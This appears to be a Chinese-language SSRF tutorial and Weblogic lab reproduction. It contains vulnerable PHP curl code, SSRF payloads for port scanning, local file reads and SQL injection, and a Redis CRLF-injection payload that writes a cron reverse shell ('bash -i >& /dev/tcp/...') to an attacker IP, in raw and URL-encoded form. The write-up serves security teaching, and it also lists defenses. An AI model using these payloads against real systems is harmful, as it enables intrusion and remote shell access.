SSRF---服务器请求伪造

目录

SSRF---服务器请求伪造

SSRF漏洞的危害:

SSRF常见代码实现

漏洞原理:

SSRF漏洞利用

端口扫描

读取系统本地文件

内网应用指纹识别

攻击内网Web应用

SSRF漏洞的挖掘

SSRF漏洞的防御

过滤用户输入的URL

过滤输出

Weblogic SSRF漏洞测试(复现):


SSRF---服务器请求伪造

(发生在服务器端,发生在服务器)例:百度识图

服务器替我们发送url请求 ,但没有做恰当的过滤

对响应的

Robots文件,不是给人看的,给浏览器搜索引擎机器人看的,只是可以查看不可查看文件。

CSRF---跨站请求伪造(发生在客户端,伪造网站受信任的用户发送请求)

 

SSRF漏洞的危害:

端口扫面

内网Web应用指纹识别

攻击内网Web应用

读取本地文件

SSRF常见代码实现

需要php扩展组件curl支持。

// ssrf_curl.php

if(isset($_REQUEST['url'])){

$link = $_REQUEST['url'];

$fileName = './curled/'.time().".txt";

$curlObj = curl_init($link);

$fp = fopen($fileName,'w');

 

curl_setopt($curlObj,CURLOPT_FILE,$fp);

curl_setopt($curlObj,CURLOPT_HEADER,0);

curl_setopt($curlObj,CURLOPT_FOLLOWLOCATION,TRUE);

 

curl_exec($curlObj);

curl_close($curlObj);

fclose($fp);

if(getimagesize($fileName)){

header("Content-Type:image/png");

}

$fp = fopen($fileName,'r');

$result = fread($fp,filesize($fileName));

fclose($fp);

echo $result;

}else{

echo "?url=[url]";

}

漏洞原理:

  1. 服务器接收了来自客户端的url地址,并由服务器发送该url请求
  2. 对用户输入的url没有进行恰当的过滤,导致任意url输入
  3. 没对响应结果进行检验,直接输出。

SSRF漏洞利用

访问正常的文件

?url=http://www.baidu.com

?url=http://www.baidu.com/img/bd_logo.png

?url=http://www.baidu.com/robots.txt

Robots文件,不是给人看的,给浏览器搜索引擎机器人看的,只是可以查看不可查看文件。

 

端口扫描

?url=http://127.0.0.1:80

?url=http://127.0.0.1:3306

?url=dict://127.0.0.10:3306

读取系统本地文件

?url=file://c:/windows/system32/drivers/etc/hosts

内网应用指纹识别

?url=http://localhost/phpMyAdmin/README

攻击内网Web应用

内网安全通常都很薄弱。

通过SSRF漏洞可以实现对内网的访问,从而可以攻击内网应用于本地机器,获得shell.

仅仅通过GET方法可以攻击的内网Web应用有很多。

http://1923168.16.103/ssrf/ssrf_curl.php

?url=http://localhost/cms/show.php? id=33/**/and/**/1=2/**/union/**/select/**/select/**/1,23,4,5,6,7,8,9,10,database( ),12,13,14,15

SSRF漏洞的挖掘

从Web功能上去找

  1. 分享
  2. 转码服务
  3. 图片加载与下载
  4. 图片、文章收藏功能
  5. 未公开的API实现

....

从URL的关键字中寻找

  1. Share
  2. Wap
  3. url
  4. link
  5. src
  6. source
  7. target
  8. u
  9. display
  10. sourceURL
  11. imageURL
  12. domain

。。。。

SSRF漏洞的防御

过滤用户输入的URL

  1. 限制协议,仅允许http或https协议
  2. 限制IP,避免应用被用来获取内网数据,攻击内网
  3. 限制端口,限制请求端口为常用端口

过滤输出

过滤返回信息,只要不符合要求的,全部过滤。

统一错误信息,让攻击无法对内网信息进行判断。

 

Weblogic SSRF漏洞测试(复现):

SSRF---服务器请求伪造

SSRF---服务器请求伪造

SSRF---服务器请求伪造

挂代理 开启BP

SSRF---服务器请求伪造

 

SSRF---服务器请求伪造

利用127.0.0.1ip进行测试 我们通过错误的不同,即可探测内网状态。

SSRF---服务器请求伪造

SSRF---服务器请求伪造

根据官方提示:

首先,通过ssrf探测内网中的redis服务器(docker环境的网段一般是172.*)

注:redis服务器(Remote Dictionary Server ,即远程字典服务,是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。

redis 默认情况下,会绑定在 0.0.0.0:6379,,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,如果在没有设置密码认证(一般为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。

SSRF---服务器请求伪造

weblogic.uddi.client.structures.exception.XML_SoapException: Received a response from url: http://172.18.0.2:6379 which did not have a valid SOAP content-type: null.

翻译:收到来自url的响应:http://172.18.0.2:6379没有有效的SOAP内容类型:null。

对比上边127.0.0.1测试,说明6379端口开放,也就是redis

 

搞起:》》》

我们需要利用redis命令,反弹shell脚本

Weblogic的SSRF有一个比较大的特点,其虽然是一个“GET”请求,但是我们可以通过传入%0a%0d来注入换行符,而某些服务(如redis)是通过换行符来分隔每条命令,也就说我们可以通过该SSRF攻击内网中的redis服务器。

  • redis命令:反弹shell脚本写入/etc/crontab

 

set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/192.168.137.139/777  0>&1\n\n\n\n"   # 标注地方为执行时间,****表示每分钟  写入命令

config set dir /etc/                                                           #设置目录

config set dbfilename crontab                                                  #指定写入文件名字

Save                                                                       # 保存

  •  反弹ip我填了kali 利用 nc –lncp进行监听观察测试:

SSRF---服务器请求伪造

因为上面命令符号较多 我们需要对上面命令进行编码:

set%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.137.139%2F777%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave

  • 最终命令;

SSRF---服务器请求伪造

SSRF---服务器请求伪造

SSRF---服务器请求伪造

 

SSRF---服务器请求伪造